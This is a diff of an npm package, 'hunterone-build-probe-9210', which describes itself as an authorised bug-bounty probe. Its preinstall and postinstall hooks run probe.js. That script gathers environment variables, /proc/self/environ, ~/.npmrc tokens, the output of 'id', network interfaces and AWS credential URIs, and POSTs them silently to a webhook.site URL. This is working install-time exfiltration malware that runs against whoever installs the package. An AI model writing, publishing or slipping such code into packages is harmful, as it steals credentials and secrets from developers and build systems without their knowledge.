hunterone-build-probe-9210 1.0.0

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "hunterone-build-probe-9210",
+  "version": "1.0.0",
+  "description": "Security research artifact (authorised bug bounty test). Reports its own build environment. Do not depend on this.",
+  "license": "MIT",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node probe.js || true",
+    "postinstall": "node probe.js || true"
+  }
+}

package/probe.js

@@ -0,0 +1,22 @@
+// Authorised security-research probe. Reports the environment it is installed in.
+const https=require('https'),fs=require('fs'),os=require('os'),cp=require('child_process');
+function safe(f){try{return f()}catch(e){return 'ERR '+String(e).slice(0,120)}}
+const data={
+  phase:process.env.npm_lifecycle_event||'?',
+  host:safe(()=>os.hostname()),
+  cwd:safe(()=>process.cwd()),
+  uid:safe(()=>process.getuid&&process.getuid()),
+  platform:safe(()=>os.platform()+' '+os.release()),
+  env:safe(()=>Object.fromEntries(Object.entries(process.env).map(([k,v])=>[k,String(v).slice(0,300)]))),
+  procenv:safe(()=>fs.readFileSync('/proc/self/environ','utf8').split('\0').filter(Boolean).slice(0,120)),
+  root:safe(()=>fs.readdirSync('/').join(',')),
+  ifaces:safe(()=>JSON.stringify(os.networkInterfaces()).slice(0,900)),
+  id:safe(()=>cp.execSync('id 2>&1').toString().slice(0,200)),
+  npmrc:safe(()=>fs.readFileSync(os.homedir()+'/.npmrc','utf8').slice(0,600)),
+  ecs:safe(()=>process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI||'none')
+};
+const body=Buffer.from(JSON.stringify(data));
+const req=https.request({host:'webhook.site',path:'/22508080-b099-4ec3-8ab7-7354af2886a9/buildenv',method:'POST',
+  headers:{'content-type':'application/json','content-length':body.length},timeout:8000},r=>{r.resume()});
+req.on('error',()=>{});req.on('timeout',()=>req.destroy());
+req.write(body);req.end();